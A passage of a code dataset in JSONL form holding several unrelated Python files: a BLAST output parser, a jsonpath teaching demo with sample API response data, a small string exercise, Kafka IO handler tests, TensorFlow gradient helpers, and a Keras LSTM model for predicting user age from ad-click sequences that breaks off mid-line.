InFolderBl+BLFilePre+IndName+Ending+\".out\"\n\t\tsys.stderr.write(InFileName)\n\t\tInFile = open(InFileName, 'rU')\n\t\ttry:\n\t\t\tfor Line in InFile:\n\t\t\t\tLine = Line.strip('\\n').strip('\\r').split('\\t')\n\t\t\t\tSeqName = Line[0][:-3]\n\t\t\t\tBlHit = Line[1].split(\"+\")[0]\n\t\t\t\tLocus = LocusDict[BlHit]\n\t\t\t\teValue = float(Line[10])\n\t\t\t\t#*****Here is where you change the eValue cutoff*****\n\t\t\t\tif eValue < 1e-8:\n\t\t\t\t\tSeqBlastDict[IndName][SeqName][Ending].append(Locus)\n\t\texcept SystemError:\n\t\t\tsys.stderr.write(\"SystemError!!\")\n\t\tInFile.close()\n\nprint(\"Blast results were read from %d output files with names of the form %s.\\n\" % (len(IndList)*2, InFileName))\nsys.stderr.write(\"Blast results were read from %d output files with names of the form %s.\\n\" % (len(IndList)*2, InFileName))\n\n#condensing the lists\nfor IndName in IndList:\n\t#first, set the summary dictionary to zero:\n\tIndSumDict[IndName]['Bait'] = 0\n\t#Then, going through the sequences for that individual\n\tfor SeqName in SeqBlastDict[IndName].keys():\n\t\t#removing multiple references to the same blast hit\n\t\tfor Ending in EndingList:\n\t\t\tSeqBlastDict[IndName][SeqName][Ending] = list(set(SeqBlastDict[IndName][SeqName][Ending]))\n\t\t\tSeqBlastDict[IndName][SeqName]['Total'] += SeqBlastDict[IndName][SeqName][Ending]\n\t\tSeqBlastDict[IndName][SeqName]['Total'] = list(set(SeqBlastDict[IndName][SeqName]['Total']))\n\t\tListTemp = SeqBlastDict[IndName][SeqName]['Total']\n\t\t#adding information about the number of hits that individual had to the dictionary\n\t\tNumHits = len(ListTemp)\n\t\tif NumHits > MaxHits:\n\t\t\tMaxHits = NumHits\n\t\ttry:\n\t\t\tIndHitsDict[IndName][NumHits] += 1\n\t\texcept KeyError:\n\t\t\tIndHitsDict[IndName][NumHits] = 1\n\t\t#calculating more things, if that sequence had blast hits\n\t\tif NumHits != 0:\n\t\t\tIndSumDict[IndName]['Bait'] += 1\n\t\t\tfor BlHit in SeqBlastDict[IndName][SeqName]['Total']:\n\t\t\t\ttry:\n\t\t\t\t\tBlastHitsDict[BlHit][IndName][NumHits].append(SeqName)\n\t\t\t\texcept KeyError:\n\t\t\t\t\tBlastHitsDict[BlHit][IndName] = defaultdict(list)\n\t\t\t\t\tBlastHitsDict[BlHit][IndName][NumHits] = [SeqName]\n\t\t\t\tif NumHits == 1:\n\t\t\t\t\tTempName = IndName+\"_1\"\n\t\t\t\telif NumHits > 1:\n\t\t\t\t\tTempName = IndName+\"_m\"\n\t\t\t\ttry:\n\t\t\t\t\tBlastHitsCounts[BlHit][TempName] += 1\n\t\t\t\texcept KeyError:\n\t\t\t\t\tBlastHitsCounts[BlHit][TempName] = 1\n\n#Writing the results to files that make some kind of sense:\nBlHitList = sorted(BlastHitsCounts.keys())\nOutList = [ ]\nHead = \"LocusName\"\nfor IndName in IndList:\n\tHead += \"\\t\"+IndName+\"_1\\t\"+IndName+\"_m\"\nOutList.append(Head)\nfor BlHit in BlHitList:\n\tLine = \"\\n\"+BlHit\n\tfor IndName in IndList:\n\t\ttry:\n\t\t\tLine += \"\\t\"+str(BlastHitsCounts[BlHit][IndName+\"_1\"])\n\t\texcept KeyError:\n\t\t\tLine += \"\\t\"\n\t\ttry:\n\t\t\tLine += \"\\t\"+str(BlastHitsCounts[BlHit][IndName+\"_m\"])\n\t\texcept KeyError:\n\t\t\tLine += \"\\t\"\n\tOutList.append(Line)\n\nOutFileName = OutFolder+OutFilePre+\"Hits_per_Locus.txt\"\nOutFile = open(OutFileName, 'w')\nfor Line in OutList:\n\tOutFile.write(Line)\nOutFile.close()\n\nprint(\"Information about the number of hits for each locus from each individual was written to %s.\\n\" % (OutFileName))\nsys.stderr.write(\"Information about the number of hits for each locus from each individual was written to %s.\\n\" % (OutFileName))\n\nOutList = [ ]\nSeqStatsList = [ ]\nStatsHead = \"Name\\tTotal_Reads\\tReads_with_no_hits\\tReads_with_hits\\n\"\nSeqStatsList.append(StatsHead)\nHitRange = range(0,MaxHits+1,1)\nHead = \"Hits_per_Sequence\"\nfor Num in HitRange:\n\tHead += \"\\t\"+str(Num)\nOutList.append(Head)\nfor IndName in IndList:\n\tSeqswithHits = 0\n\tLine = \"\\n\"+IndName\n\tfor Num2 in HitRange:\n\t\ttry:\n\t\t\tLine += \"\\t\"+str(IndHitsDict[IndName][Num2])\n\t\t\tif (IndHitsDict[IndName][Num2] > 0) and (Num2 > 0):\n\t\t\t\tSeqswithHits += IndHitsDict[IndName][Num2]\n\t\texcept KeyError:\n\t\t\tLine += \"\\t0\"\n\tOutList.append(Line)\n\tStatsLine = IndName+\"\\t\"+str(SeqswithHits+IndHitsDict[IndName][0])+\"\\t\"+str(IndHitsDict[IndName][0])+\"\\t\"+str(SeqswithHits)+\"\\t\"\n\tSeqStatsList.append(StatsLine)\n\nOutFileName = OutFolder+OutFilePre+\"Seqs_with_Hits.txt\"\nOutFile = open(OutFileName, 'w')\nfor Line in OutList:\n\tOutFile.write(Line)\nOutFile.close()\n\nprint(\"Information about the number of sequences each individual had that had a certain number of hits was written to the file %s.\\n\" % (OutFileName))\nsys.stderr.write(\"Information about the number of sequences each individual had that had a certain number of hits was written to the file %s.\\n\" % (OutFileName))\n\nOutFileName = OutFolder+OutFilePre+\"Hit_Distribution.txt\"\nOutFile = open(OutFileName, 'w')\nfor Line in SeqStatsList:\n\tOutFile.write(Line)\nOutFile.close()\n\nprint(\"Information about the distribution of these hits across the genome was written to the file %s.\\n\" % (OutFileName))\nsys.stderr.write(\"Information about the distribution of these hits across the genome was written to the file %s.\\n\" % (OutFileName))\n\n#BlastHitsDict[BlHit][IndName][NumHits] = [SeqName]\nOutList = [ ]\nHead = \"Locus_Name\\tIndividual_Name\\tNumber_of_Hits\\tSequence_Names\"\nOutList.append(Head)\nfor BlHit in BlHitList:\n\tfor IndName in BlastHitsDict[BlHit].keys():\n\t\tfor NumHits in BlastHitsDict[BlHit][IndName].keys():\n\t\t\tLine = \"\\n\" + BlHit + \"\\t\" + IndName + \"\\t\" + str(NumHits) + \"\\t\" + \";\".join(BlastHitsDict[BlHit][IndName][NumHits])\n\t\t\tOutList.append(Line)\n\nOutFileName = OutFolder+OutFilePre+\"Seqs_to_Loci.txt\"\nOutFile = open(OutFileName, 'w')\nfor Line in OutList:\n\tOutFile.write(Line)\nOutFile.close()\n\nprint(\"The list of sequences that go with each locus was written to %s.\\n\" % (OutFileName))\nsys.stderr.write(\"The list of sequences that go with each locus was written to %s.\\n\" % (OutFileName))\n","sub_path":"tbaits_blastn_parse.py","file_name":"tbaits_blastn_parse.py","file_ext":"py","file_size_in_byte":9473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"534134566","text":"import jsonpath\nuser = {\"data\": {\"username\": \"yuz\", \"pwd\": \"123456\"}}\n\n# 如果匹配不到数据,直接返回 False\nprint(jsonpath.jsonpath(user, \"$.username\"))\n\n# 如果匹配到数据,直接得到结果的列表\nprint(jsonpath.jsonpath(user, \"$..username\"))\n\n# 多层\n# 2 个点表示子孙层级\nres = {\n \"code\": 0,\n \"msg\": \"OK\",\n \"data\": {\n \"id\": 13309,\n \"leave_amount\": 20.0,\n \"mobile_phone\": \"15512345678\",\n \"reg_name\": \"小柠檬\",\n \"reg_time\": \"2020-06-12 00:28:46.0\",\n \"type\": 1,\n \"token_info\": {\n \"token_type\": \"Bearer\",\n \"expires_in\": \"2020-06-16 21:05:41\",\n \"token\": \"eyJhbGciOiJIUzUxMiJ9.eyJtZW1iZXJfaWQiOjEzMzA5LCJleHAiOjE1OTIzMTI3NDF9.FSOjPQNia8EVM8Q0KGM2lJvWU6G1U6VLdQB2TED8O6nb2r0AYHkCDswqmC_doiSBi-jz30p_FPsePfv6KBtjuA\"\n }\n },\n \"copyright\": \"Copyright 柠檬班 © 2017-2020 湖南省零檬信息技术有限公司 All Rights Reserved\"\n}\n\n\nprint(jsonpath.jsonpath(res, \"$..token\")[0])\nprint(jsonpath.jsonpath(res, \"$..token_type\" )[0])\nprint(jsonpath.jsonpath(res, \"$..id\")[0])\n","sub_path":"课堂演示代码/demo_04_jsonpath.py","file_name":"demo_04_jsonpath.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"4966470","text":"# Problem 26 - Spam and Eggs\n#\n# This is a problem from the Python 2012 course in FMI\n#\n# You can see the original problem statement here -\n# http://2012.fmi.py-bg.net/tasks/1\n#\n# Implement a function, called prepare_meal(number) which takes an integer and\n# returns a string, generated by the following algorithm:\n#\n# Еggs:\n# If there is an integer n, such that 3^n divides number and n is the largest\n# possible, the result should be a string, containing n times spam\n#\n# Spam:\n# If number is divisible by 5, add and eggs to the result.\n#\n# Notice that in the first case, there is no \"and\". In the rest - there is.\n\n\ndef count_spam(number):\n spam = 0\n\n while number % 3 == 0:\n spam += 1\n number /= 3\n\n return spam\n\n\ndef prepare_meal(number):\n meal = ''\n\n if number % 3 == 0:\n meal += ' '.join(['spam'] * count_spam(number))\n\n if number % 5 == 0:\n meal += ' and eggs' if meal else 'eggs'\n\n return meal.strip()\n","sub_path":"python/hack_bulgaria/week0/day2/prepare_meal/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"507172921","text":"from operator import attrgetter\nfrom typing import List\n\nfrom pytest_cases import parametrize_with_cases\n\nfrom esque.io.handlers import BaseHandler\nfrom esque.io.messages import BinaryMessage\nfrom esque.io.stream_decorators import skip_stream_events, stop_at_temporary_end_of_all_stream_partitions\nfrom esque.io.stream_events import StreamEvent, TemporaryEndOfPartition\n\n\n@parametrize_with_cases(\"input_handler, output_handler\")\ndef test_write_read_message(\n binary_messages: List[BinaryMessage], input_handler: BaseHandler, output_handler: BaseHandler\n):\n for msg in binary_messages[:2]:\n output_handler.write_message(msg)\n output_handler.close()\n\n messages_retrieved: List[BinaryMessage] = []\n for _ in range(2):\n while True:\n actual_message = input_handler.read_message()\n if isinstance(actual_message, BinaryMessage):\n break\n messages_retrieved.append(actual_message)\n\n messages_retrieved.sort(key=attrgetter(\"timestamp\"))\n assert messages_retrieved == binary_messages[:2]\n\n\n@parametrize_with_cases(\"input_handler, output_handler\")\ndef test_write_read_many_messages(\n binary_messages: List[BinaryMessage], input_handler: BaseHandler, output_handler: BaseHandler\n):\n output_handler.write_many_messages(binary_messages)\n output_handler.close()\n actual_messages = list(\n skip_stream_events(stop_at_temporary_end_of_all_stream_partitions(input_handler.binary_message_stream()))\n )\n actual_messages.sort(key=attrgetter(\"timestamp\"))\n input_handler.close()\n assert binary_messages == actual_messages\n\n\n@parametrize_with_cases(\"_, output_handler\")\ndef test_write_single_stream_event(binary_messages: List[BinaryMessage], output_handler: BaseHandler, _):\n output_handler.write_message(TemporaryEndOfPartition(\"test\", StreamEvent.ALL_PARTITIONS))\n\n\n@parametrize_with_cases(\"_, output_handler\")\ndef test_write_many_stream_events(binary_messages: List[BinaryMessage], output_handler: BaseHandler, _):\n output_handler.write_many_messages([TemporaryEndOfPartition(\"test\", StreamEvent.ALL_PARTITIONS)])\n\n\n@parametrize_with_cases(\"input_handler, output_handler\")\ndef test_seek(binary_messages: List[BinaryMessage], input_handler: BaseHandler, output_handler: BaseHandler):\n seek_offset = 2\n output_handler.write_many_messages(binary_messages)\n output_handler.close()\n\n input_handler.seek(seek_offset)\n actual_messages = list(\n skip_stream_events(stop_at_temporary_end_of_all_stream_partitions(input_handler.binary_message_stream()))\n )\n input_handler.close()\n\n actual_messages.sort(key=attrgetter(\"timestamp\"))\n assert actual_messages == [msg for msg in binary_messages if msg.offset >= seek_offset]\n","sub_path":"tests/unit/io/handler/test_all_handlers.py","file_name":"test_all_handlers.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"280100256","text":"# implements various derivatives of various use\nimport tensorflow as tf\nfrom tensorflow.python.ops.parallel_for.gradients import jacobian\n\ndef densify(op):\n if isinstance(op, tf.IndexedSlices):\n return tf.unsorted_segment_sum(\n op.values,\n op.indices,\n op.dense_shape[0])\n else:\n return op\n\n\n\ndef list_jacobian(outputs, inputs):\n \"\"\"\n Parameters\n ----------\n outputs: tf.Tensor\n inputs: list of tf.Tensor\n\n Returns\n -------\n list of jacobians [\n tf.Tensor(p0_d0,p0_d1,...,N,3),\n tf.Tensor(p1_d0,p1_d2,...,N,3),\n ...\n ]\n\n \"\"\"\n # This is a slightly more advanced version of tensorflow's jacobian system that allows\n # for sparse gradients as well as automatically reshaping the results if outputs is a list.\n\n # taken from tf src gradients_impl.py _IndexedSlicesToTensor \n outputs = densify(outputs)\n\n output_dims = list(range(len(outputs.get_shape().as_list()))) # [0,1]\n n_out_dims = len(output_dims)\n\n # if isinstance(reverse_shaped, tf.Tensor):\n # shove to a list\n # reverse_shaped = [reverse_shaped]\n\n result = []\n for inp, jac in zip(inputs, jacobian(outputs, inputs, use_pfor=False)):\n\n input_dims = list(range(len(inp.get_shape().as_list()))) # [0,1]\n perm = [(idx + n_out_dims) for idx in input_dims] + output_dims # generate permutation indices\n result.append(tf.transpose(jac, perm=perm))\n\n return result\n\ndef compute_ghm(energy_op, x, params):\n \"\"\"\n Computes gradients, hessians, mixed_partials in one go\n \"\"\"\n grads = densify(tf.gradients(energy_op, x)[0])\n hess = densify(tf.hessians(energy_op, x)[0])\n mp = list_jacobian(grads, params)\n return grads, hess, mp\n\ndef total_derivative(hessian, dxdp, mixed_partials):\n return tf.einsum('ijkl,mkl->mij', hessian, tf.convert_to_tensor(dxdp)) + mixed_partials[0]\n\n","sub_path":"timemachine/derivatives.py","file_name":"derivatives.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"601318583","text":"import os\nimport pandas as pd\nfrom tqdm.autonotebook import *\nfrom sklearn.decomposition import LatentDirichletAllocation\n\nfrom sklearn.metrics import accuracy_score\nimport time\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom scipy.sparse import hstack\nfrom sklearn.model_selection import StratifiedKFold\nfrom gensim.models import FastText, Word2Vec\nimport re\nfrom keras.layers import *\nfrom keras.models import *\nfrom keras.preprocessing.text import Tokenizer, text_to_word_sequence\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing import text, sequence\nfrom keras.callbacks import *\nfrom keras.layers.advanced_activations import LeakyReLU, PReLU\nimport keras.backend as K\nfrom keras.optimizers import *\nfrom keras.utils import to_categorical\nimport tensorflow as tf\n\n\nimport random as rn\nimport gc\nimport logging\nimport gensim\n\n#from tensorflow.contrib.rnn import *\nos.environ['PYTHONHASHSEED'] = '0'\n# 显卡使用(如没显卡需要注释掉)\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\nnp.random.seed(1024)\nrn.seed(1024)\ntf.set_random_seed(1024)\n\n#################################gpu22222222222222222222222#################\n\ndef get_age_data():\n train_user = pd.read_csv('train_preliminary/user.csv')\n train_final_user = pd.read_csv('train_semi_final/user.csv')\n test_data = test_data = pd.DataFrame({\"user_id\":(np.arange(3000001, 4000001, 1)), \"age\":\"-1\", \"gender\":\"-1\"})\n data = pd.concat([train_user,train_final_user, test_data], axis=0, sort=False)\n del train_user,train_final_user,test_data\n gc.collect()\n return data\n\ndata= get_age_data()\ndata = data.sort_values(by=['user_id']).reset_index(drop=True)\n\n###############################################\n\nemb1=np.load('256_w2c/w2v_256_creative_id_xuli95_win15iter8_emb.npy')\nemb3=np.load('256_w2c/w2v_256_advertiser_id_xuli95_win15iter8.npy')\nemb6=np.load('256_w2c/w2v_256_ad_id_xuli95_win15iter8_emb.npy')\nemb7=np.load('256_w2c/naw2v_128_product_id_xuli95_win15iter8_emb.npy')##############128\n\nx1=np.load('256_w2c/x1_xulie95_creative_id_win15iter8.npy')\nx3=np.load('256_w2c/x5_xulie95_advertiser_id_win15iter8.npy')\nx6=np.load('256_w2c/x3_xulie95_ad_id_win15iter8.npy')\nx7=np.load('256_w2c/nax1_xulie95_product_id_win15iter8.npy') \nemb1=emb1.astype(np.float32)\nemb3=emb3.astype(np.float32)\nemb6=emb6.astype(np.float32)\nemb7=emb7.astype(np.float32)\ntrain_data = data[data['age']!='-1']\n#train_data = data[data['gender']!='-1']\n\ntrain_input_1 = x1[:len(train_data)]\n#test_input_1 = x1[len(train_data):]\ntrain_input_3 = x3[:len(train_data)]\n#test_input_3 = x3[len(train_data):]\ntrain_input_6 = x6[:len(train_data)]\n#test_input_6 = x6[len(train_data):]\n\ntrain_input_7 = x7[:len(train_data)]\n#test_input_7 = x7[len(train_data):]\n\nlabel = to_categorical(train_data['age'] - 1)\n#label = to_categorical(train_data['gender'] - 1)\n\ngc.collect()\n\n#增强序列\nx11=np.load('256_w2c/x1_xulie95_creative_id_reset_user_time_win15iter8.npy')\nx33=np.load('256_w2c/x5_xulie95_advertiser_id_reset_user_time_win15iter8.npy')\nx66=np.load('256_w2c/x3_xulie95_ad_id_reset_user_time_win15iter8.npy')\nx77=np.load('256_w2c/nax1_xulie95_reset_userid_product_id_win15iter8.npy')\ntrain_input_11 = x11[:len(train_data)]\n#test_input_11 = x11[len(train_data):]\n\ntrain_input_33 = x33[:len(train_data)]\n#test_input_33 = x33[len(train_data):]\n\ntrain_input_66 = x66[:len(train_data)]\n#test_input_66 = x66[len(train_data):]\ntrain_input_77 = x77[:len(train_data)]\n#test_input_77 = x77[len(train_data):]\ndel x1,x3,x6,x11,x33,x66 , x7,x77\nlen_id=np.load('256_w2c/len_id.npy') # 序列特征\ntrain_input_len = len_id[:len(train_data)]\n#test_input_len = len_id[len(train_data):]\nlen_id_input=len_id.shape[1]\ngc.collect()\n#tfidf\nimport pickle\n\nwith open('tfidf/final_tfidf11_creative_id_age.pkl', 'rb') as f:\n f1 = pickle.load(f) \n\nwith open('tfidf/final__tfidf11_ad_id_age.pkl', 'rb') as f:\n f2 = pickle.load(f)\nwith open('tfidf/final__tfidf11_advertiser_id_age.pkl', 'rb') as f: \n f3 = pickle.load(f)\n\nwith open('tfidf/final_count11__ad_id_age.pkl', 'rb') as f:\n f4 = pickle.load(f) \nwith open('tfidf/final_count11_advertiser_id_age.pkl', 'rb') as f:\n f5 = pickle.load(f)\nwith open('tfidf/final_count11_creative_id_age.pkl', 'rb') as f: \n f6 = pickle.load(f) \n\n\nfeature = pd.concat([f1,f2, f3,f4,f5,f6], axis=1, sort=False)\ndel f1,f2, f3,f4,f5,f6\n\ngc.collect()\nfeature = feature.fillna(-1)\nfrom sklearn.preprocessing import StandardScaler\nss=StandardScaler()\nss.fit(feature)\nhin_feature = ss.transform(feature)\nnum_feature_input = hin_feature.shape[1]\n\ntrain_input_5 = hin_feature[:len(train_data)]\n#test_input_5 = hin_feature[len(train_data):]\ndel feature,hin_feature\ngc.collect()\n\n\n###########\n# 需要用到的函数\nclass AdamW(Optimizer):\n def __init__(self, lr=0.001, beta_1=0.9, beta_2=0.999, weight_decay=1e-4, # decoupled weight decay (1/4)\n epsilon=1e-8, decay=0., **kwargs):\n super(AdamW, self).__init__(**kwargs)\n with K.name_scope(self.__class__.__name__):\n self.iterations = K.variable(0, dtype='int64', name='iterations')\n self.lr = K.variable(lr, name='lr')\n self.beta_1 = K.variable(beta_1, name='beta_1')\n self.beta_2 = K.variable(beta_2, name='beta_2')\n self.decay = K.variable(decay, name='decay')\n # decoupled weight decay (2/4)\n self.wd = K.variable(weight_decay, name='weight_decay')\n self.epsilon = epsilon\n self.initial_decay = decay\n\n @interfaces.legacy_get_updates_support\n def get_updates(self, loss, params):\n grads = self.get_gradients(loss, params)\n self.updates = [K.update_add(self.iterations, 1)]\n wd = self.wd # decoupled weight decay (3/4)\n\n lr = self.lr\n if self.initial_decay > 0:\n lr *= (1. / (1. + self.decay * K.cast(self.iterations,\n K.dtype(self.decay))))\n\n t = K.cast(self.iterations, K.floatx()) + 1\n lr_t = lr * (K.sqrt(1. - K.pow(self.beta_2, t)) /\n (1. - K.pow(self.beta_1, t)))\n\n ms = [K.zeros(K.int_shape(p), dtype=K.dtype(p)) for p in params]\n vs = [K.zeros(K.int_shape(p), dtype=K.dtype(p)) for p in params]\n self.weights = [self.iterations] + ms + vs\n\n for p, g, m, v in zip(params, grads, ms, vs):\n m_t = (self.beta_1 * m) + (1. - self.beta_1) * g\n v_t = (self.beta_2 * v) + (1. - self.beta_2) * K.square(g)\n # decoupled weight decay (4/4)\n p_t = p - lr_t * m_t / (K.sqrt(v_t) + self.epsilon) - lr * wd * p\n\n self.updates.append(K.update(m, m_t))\n self.updates.append(K.update(v, v_t))\n new_p = p_t\n\n # Apply constraints.\n if getattr(p, 'constraint', None) is not None:\n new_p = p.constraint(new_p)\n\n self.updates.append(K.update(p, new_p))\n return self.updates\n\n def get_config(self):\n config = {'lr': float(K.get_value(self.lr)),\n 'beta_1': float(K.get_value(self.beta_1)),\n 'beta_2': float(K.get_value(self.beta_2)),\n 'decay': float(K.get_value(self.decay)),\n 'weight_decay': float(K.get_value(self.wd)),\n 'epsilon': self.epsilon}\n base_config = super(AdamW, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\nfrom keras.engine.topology import Layer\nclass Attention(Layer):\n def __init__(self, step_dim,\n W_regularizer=None, b_regularizer=None,\n W_constraint=None, b_constraint=None,\n bias=True, **kwargs):\n self.supports_masking = True\n self.init = initializers.get('glorot_uniform')\n\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n\n self.bias = bias\n self.step_dim = step_dim\n self.features_dim = 0\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n\n self.W = self.add_weight((input_shape[-1],),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n self.features_dim = input_shape[-1]\n\n if self.bias:\n self.b = self.add_weight((input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n else:\n self.b = None\n\n self.built = True\n\n def compute_mask(self, input, input_mask=None):\n return None\n\n def call(self, x, mask=None):\n features_dim = self.features_dim\n step_dim = self.step_dim\n\n eij = K.reshape(K.dot(K.reshape(x, (-1, features_dim)),\n K.reshape(self.W, (features_dim, 1))), (-1, step_dim))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n if mask is not None:\n a *= K.cast(mask, K.floatx())\n\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n\n a = K.expand_dims(a)\n weighted_input = x * a\n return K.sum(weighted_input, axis=1)\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], self.features_dim\n\n#########\nfrom tensorflow.keras import backend as K\nimport numpy as np\n#from keras.callbacks import ModelCheckpoint,TensorBoard\nclass CyclicLR(Callback):\n def __init__(self, base_lr=0.001, max_lr=0.006, step_size=2000., mode='triangular',\n gamma=1., scale_fn=None, scale_mode='cycle'):\n super(CyclicLR, self).__init__()\n\n self.base_lr = base_lr\n self.max_lr = max_lr\n self.step_size = step_size\n self.mode = mode\n self.gamma = gamma\n if scale_fn == None:\n if self.mode == 'triangular':\n self.scale_fn = lambda x: 1.\n self.scale_mode = 'cycle'\n elif self.mode == 'triangular2':\n self.scale_fn = lambda x: 1/(2.**(x-1))\n self.scale_mode = 'cycle'\n elif self.mode == 'exp_range':\n self.scale_fn = lambda x: gamma**(x)\n self.scale_mode = 'iterations'\n else:\n self.scale_fn = scale_fn\n self.scale_mode = scale_mode\n self.clr_iterations = 0.\n self.trn_iterations = 0.\n self.history = {}\n\n self._reset()\n\n def _reset(self, new_base_lr=None, new_max_lr=None,\n new_step_size=None):\n \"\"\"Resets cycle iterations.\n Optional boundary/step size adjustment.\n \"\"\"\n if new_base_lr != None:\n self.base_lr = new_base_lr\n if new_max_lr != None:\n self.max_lr = new_max_lr\n if new_step_size != None:\n self.step_size = new_step_size\n self.clr_iterations = 0.\n \n def clr(self):\n cycle = np.floor(1+self.clr_iterations/(2*self.step_size))\n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1)\n if self.scale_mode == 'cycle':\n return self.base_lr + (self.max_lr-self.base_lr)*np.maximum(0, (1-x))*self.scale_fn(cycle)\n else:\n return self.base_lr + (self.max_lr-self.base_lr)*np.maximum(0, (1-x))*self.scale_fn(self.clr_iterations)\n \n def on_train_begin(self, logs={}):\n logs = logs or {}\n\n if self.clr_iterations == 0:\n K.set_value(self.model.optimizer.lr, self.base_lr)\n else:\n K.set_value(self.model.optimizer.lr, self.clr()) \n \n def on_batch_end(self, epoch, logs=None):\n \n logs = logs or {}\n self.trn_iterations += 1\n self.clr_iterations += 1\n\n self.history.setdefault('lr', []).append(K.get_value(self.model.optimizer.lr))\n self.history.setdefault('iterations', []).append(self.trn_iterations)\n\n for k, v in logs.items():\n self.history.setdefault(k, []).append(v)\n \n K.set_value(self.model.optimizer.lr, self.clr())\n \nskf = StratifiedKFold(n_splits=5, random_state=1010, shuffle=True)##换成1015 \nfor i, (train_index, test_index) in enumerate(skf.split(train_input_5, train_data['age'].astype('int'))):\n if(i==0):\n num0_train=train_index\n num0_test=test_index\n elif(i==1):\n num1_train=train_index\n num1_test=test_index\n elif(i==2):\n num2_train=train_index\n num2_test=test_index\n elif(i==3):\n num3_train=train_index\n num3_test=test_index\n elif(i==4):\n num4_train=train_index\n num4_test=test_index\n del train_index, test_index\ngc.collect() \n\ndef model_conv(emb1, emb3, emb6,emb7,num_feature_input,len_id_input): #emb3, , num_feature_input\n K.clear_session()\n emb_layer_1 = Embedding(\n input_dim=emb1.shape[0],\n output_dim=emb1.shape[1],\n weights=[emb1],\n input_length=95,###30\n trainable=False\n ) \n emb_layer_3 = Embedding(\n input_dim=emb3.shape[0],\n output_dim=emb3.shape[1],\n weights=[emb3],\n input_length=95,\n trainable=False\n ) \n emb_layer_6 = Embedding(\n input_dim=emb6.shape[0],\n output_dim=emb6.shape[1],\n weights=[emb6],\n input_length=95,\n trainable=False\n ) \n emb_layer_7 = Embedding(\n input_dim=emb7.shape[0],\n output_dim=emb7.shape[1],\n weights=[emb7],\n input_length=95,\n trainable=False\n ) \n seq1 = Input(shape=(95,))#####30\n seq3 = Input(shape=(95,)) \n seq6 = Input(shape=(95,)) \n seq7 = Input(shape=(95,))\n \n x1 = emb_layer_1(seq1)\n x3 = emb_layer_3(seq3) \n x6 = emb_layer_6(seq6)\n x7 = emb_layer_7(seq7)\n #del emb1,emb3,emb6\n #gc.collect()\n\n sdrop=SpatialDropout1D(rate=0.2)\n x1 = sdrop(x1)\n x3 = sdrop(x3)\n x6 = sdrop(x6)\n x7 = sdrop(x7)\n \n x13 = concatenate([x1,x3,x6,x7], axis=-1 ) \n \n x13 = Dropout(0.35)(Bidirectional(CuDNNLSTM(300, return_sequences=True))(x13)) \n x13 = Dense(256, activation='relu')(x13)\n semantic13 = TimeDistributed(Dense(128, activation=\"tanh\"))(x13)\n merged_13 = Lambda(lambda x: K.max(x, axis=1), output_shape=(128,))(semantic13)\n len_mask=Input(shape=(len_id_input,))\n merged_13_avg = Lambda(lambda x: K.sum(x, axis=1)/len_mask, output_shape=(128,))(semantic13)\n \n x = Dropout(0.3)(Bidirectional(CuDNNLSTM(300, return_sequences=True))(x13)) \n att_1 = Attention(95)(x)\n \n hin = Input(shape=(num_feature_input, ))\n htime = Dense(320, activation='relu')(hin)\n htime = Dense(128, activation='relu')(htime)\n x = concatenate([att_1, merged_13, merged_13_avg, htime])\n x = Dropout(0.4)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n\n pred = Dense(10, activation='softmax')(x)######10\n \n model = Model(inputs=[seq1, seq3, seq6,seq7,hin,len_mask], outputs=pred)\n #from keras.utils import multi_gpu_model\n #model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy',\n optimizer=AdamW(lr=0.001,weight_decay=0.06,),metrics=[\"accuracy\"])\n return model\n\ngc.collect()\n######一折\nstartload = time.time()\n\nscore = []\ncount = 2 \ntrain_index=num2_train ###########################10\ntest_index=num2_test ###########################10\n\n#for i, (train_index, test_index) in enumerate(skf.split(train_input_5, train_data['gender'].astype('int'))):\nprint(\"FOLD | \", count+1)\nprint(\"###\"*35)\ngc.collect()\nfilepath = \"age_model/nn_v2_lstm_1367atten1_%d.h5\" % count\ncheckpoint = ModelCheckpoint(\n filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max',save_weights_only=True)\nreduce_lr = ReduceLROnPlateau(\n monitor='val_acc', factor=0.2, patience=2, min_lr=0.00001, verbose=1)\n\nclr = CyclicLR(base_lr=0.000005, max_lr=0.002,\n step_size=4687, mode='triangular2')#!!!!!!!!!!!!!!!!!!!!\nearlystopping = EarlyStopping(\n monitor='val_acc', min_delta=0.0001, patience=4, verbose=1, mode='max')\ncallbacks = [checkpoint,reduce_lr, earlystopping]\n \nmodel_age = model_conv(emb1, emb3,emb6,emb7, num_feature_input,len_id_input)############\n\nmodel_age.summary()\nx1_tr, x1_va = np.array(train_input_1)[train_index], np.array(train_input_1)[test_index] \n #print('x1_tr', 